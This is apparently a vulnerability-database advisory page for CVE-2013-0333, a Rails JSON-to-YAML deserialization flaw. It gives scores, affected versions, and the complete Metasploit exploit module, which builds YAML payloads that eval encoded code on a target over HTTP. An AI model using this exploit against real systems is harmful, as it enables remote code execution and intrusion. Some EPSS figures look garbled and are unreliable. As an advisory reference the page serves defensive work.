CVE-2013-0333

EPSS

89.36%V4

Vector

Network

Published

2013-01-30
10h00 +00:00

Modified

2017-12-08
09h57 +00:00

Official links

CVE.org

NVD

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Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

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CVE Descriptions

lib/active_support/json/backends/yaml.rb in Ruby on Rails 2.3.x before 2.3.16 and 3.0.x before 3.0.20 does not properly convert JSON data to YAML data for processing by a YAML parser, which allows remote attackers to execute arbitrary code, conduct SQL injection attacks, or bypass authentication via crafted data that triggers unsafe decoding, a different vulnerability than CVE-2013-0156.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	94.36%	–	–
2023-02-05	–	–	91.07%	–	–
2023-02-19	–	–	94.36%	–	–
2023-03-12	–	–	–	97.41%	–
2023-06-25	–	–	–	97.42%	–
2023-08-20	–	–	–	97.39%	–
2024-06-02	–	–	–	97.39%	–
2024-06-30	–	–	–	97.28%	–
2024-09-01	–	–	–	97.22%	–
2024-11-03	–	–	–	97.28%	–
2024-12-22	–	–	–	97.09%	–
2025-02-23	–	–	–	97.14%	–
2025-01-19	–	–	–	97.09%	–
2025-02-23	–	–	–	97.14%	–
2025-03-18	–	–	–	–	92.15%
2025-03-30	–	–	–	–	91.94%
2025-04-14	–	–	–	–	89.36%
2025-04-15	–	–	–	–	91.94%
2025-05-01	–	–	–	–	89.36%
2025-05-01	–	–	–	–	89.36,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	1%
2023-02-05	1%
2023-02-19	1%
2023-03-12	1%
2023-06-25	1%
2023-08-20	1%
2024-06-02	1%
2024-06-30	1%
2024-09-01	1%
2024-11-03	1%
2024-12-22	1%
2025-02-23	1%
2025-01-19	1%
2025-02-23	1%
2025-03-18	1%
2025-03-30	1%
2025-04-14	1%
2025-04-15	1%
2025-05-01	1%
2025-05-01	1%

Exploit information

Exploit Database EDB-ID : 24434

Publication date : 2013-01-28 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution', 'Description' => %q{ This module exploits a remote code execution vulnerability in the JSON request processor of the Ruby on Rails application framework. This vulnerability allows an attacker to instantiate a remote object, which in turn can be used to execute any ruby code remotely in the context of the application. This vulnerability is very similar to CVE-2013-0156. This module has been tested successfully on RoR 3.0.9, 3.0.19, and 2.3.15. The technique used by this module requires the target to be running a fairly recent version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8 may still be exploitable using the init_with() method, but this has not been demonstrated. }, 'Author' => [ 'jjarmoc', # Initial module based on cve-2013-0156, testing help 'egypt', # Module 'lian', # Identified the RouteSet::NamedRouteCollection vector ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-0333'], ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DisclosureDate' => 'Jan 28 2013', 'DefaultOptions' => { "PrependFork" => true }, 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) ], self.class) end # # Create the YAML document that will be embedded into the JSON # def build_yaml_rails2 code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + "eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n" yaml.gsub(':', '\u003a') end # # Create the YAML document that will be embedded into the JSON # def build_yaml_rails3 code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n" yaml.gsub(':', '\u003a') end def build_request(v) case v when 2; build_yaml_rails2 when 3; build_yaml_rails3 end end # # Send the actual request # def exploit [2, 3].each do |ver| print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...") send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => datastore['HTTP_METHOD'], 'ctype' => 'application/json', 'headers' => { 'X-HTTP-Method-Override' => 'get' }, 'data' => build_request(ver) }, 25) handler end end end

Products Mentioned

Configuraton 0

Rubyonrails>>Rails >> Version 2.3.0

Rubyonrails>>Rails >> Version 2.3.0 (Open CPE detail)

Rubyonrails>>Rails >> Version 2.3.1

Rubyonrails>>Rails >> Version 2.3.1 (Open CPE detail)

Rubyonrails>>Rails >> Version 2.3.2

Rubyonrails>>Rails >> Version 2.3.2 (Open CPE detail)

Rubyonrails>>Rails >> Version 2.3.3

Rubyonrails>>Rails >> Version 2.3.3 (Open CPE detail)

Rubyonrails>>Rails >> Version 2.3.4

Rubyonrails>>Rails >> Version 2.3.4 (Open CPE detail)

Rubyonrails>>Rails >> Version 2.3.9

Rubyonrails>>Rails >> Version 2.3.9 (Open CPE detail)
Rubyonrails>>Rails >> Version 2.3.9 (Open CPE detail)
Rubyonrails>>Rails >> Version 2.3.9 (Open CPE detail)

Rubyonrails>>Rails >> Version 2.3.10

Rubyonrails>>Rails >> Version 2.3.10 (Open CPE detail)

Rubyonrails>>Rails >> Version 2.3.11

Rubyonrails>>Rails >> Version 2.3.11 (Open CPE detail)

Rubyonrails>>Rails >> Version 2.3.12

Rubyonrails>>Rails >> Version 2.3.12 (Open CPE detail)

Rubyonrails>>Rails >> Version 2.3.13

Rubyonrails>>Rails >> Version 2.3.13 (Open CPE detail)

Rubyonrails>>Rails >> Version 2.3.14

Rubyonrails>>Rails >> Version 2.3.14 (Open CPE detail)

Rubyonrails>>Rails >> Version 2.3.15

Rubyonrails>>Rails >> Version 2.3.15 (Open CPE detail)